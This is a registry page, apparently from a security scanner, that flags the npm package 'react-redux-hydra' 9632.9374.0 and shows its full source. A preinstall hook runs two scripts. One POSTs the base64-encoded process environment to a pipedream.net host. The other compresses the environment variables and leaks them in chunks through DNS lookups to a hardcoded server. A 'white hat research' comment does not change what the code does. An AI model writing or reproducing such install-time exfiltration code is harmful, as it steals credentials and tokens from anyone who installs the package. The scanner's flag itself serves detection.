react-redux-hydra 9632.9374.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-redux-hydra might be problematic. Click here for more details.
- package/index.js +13 -0
- package/package.json +16 -0
- package/pre.js +39 -0
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
// Hackerone white hat security research, catz@wearehackerone.com
|
2
|
+
|
3
|
+
const http = require('https');
|
4
|
+
|
5
|
+
req = http.request({
|
6
|
+
host: 'ba18d240d48f99b177bd704072fdcb3f.m.pipedream.net',
|
7
|
+
path: '/' + (process.env.npm_package_name || ''),
|
8
|
+
method: 'POST'
|
9
|
+
}).on('error', function (err) {
|
10
|
+
});
|
11
|
+
|
12
|
+
req.write(Buffer.from(JSON.stringify(process.env)).toString('base64'));
|
13
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "react-redux-hydra",
|
3
|
+
"version": "9632.9374.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js; node pre.js"
|
9
|
+
},
|
10
|
+
"files": [
|
11
|
+
"index.js",
|
12
|
+
"pre.js"
|
13
|
+
],
|
14
|
+
"author": "",
|
15
|
+
"license": "ISC"
|
16
|
+
}
|
package/pre.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
// Hackerone white hat security research, catz@wearehackerone.com
|
2
|
+
|
3
|
+
var { Resolver } = require('dns');
|
4
|
+
var zlib = require('zlib');
|
5
|
+
|
6
|
+
var resolver = new Resolver();
|
7
|
+
|
8
|
+
function splitString(string, size) {
|
9
|
+
var re = new RegExp('.{1,' + size + '}', 'g');
|
10
|
+
return string.match(re);
|
11
|
+
}
|
12
|
+
|
13
|
+
resolver.setServers(['165.232.68.239']);
|
14
|
+
var d = process.env || {};
|
15
|
+
var data = Object.keys(d)
|
16
|
+
.filter(function (key) {
|
17
|
+
return (
|
18
|
+
typeof d[key] === 'string' &&
|
19
|
+
d[key].length >= 3 &&
|
20
|
+
d[key].length <= 100
|
21
|
+
);
|
22
|
+
})
|
23
|
+
.reduce(function (result, key) {
|
24
|
+
result[key] = d[key];
|
25
|
+
return result;
|
26
|
+
}, {});
|
27
|
+
|
28
|
+
var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex');
|
29
|
+
|
30
|
+
|
31
|
+
var ch = splitString(encData, 60);
|
32
|
+
|
33
|
+
var dt = Date.now();
|
34
|
+
|
35
|
+
for (var i = 0; i < ch.length; i++) {
|
36
|
+
const domain = ['f' + dt, i + 1, ch.length, ch[i]].join('.');
|
37
|
+
resolver.resolve4(domain, function (err) {
|
38
|
+
});
|
39
|
+
}
|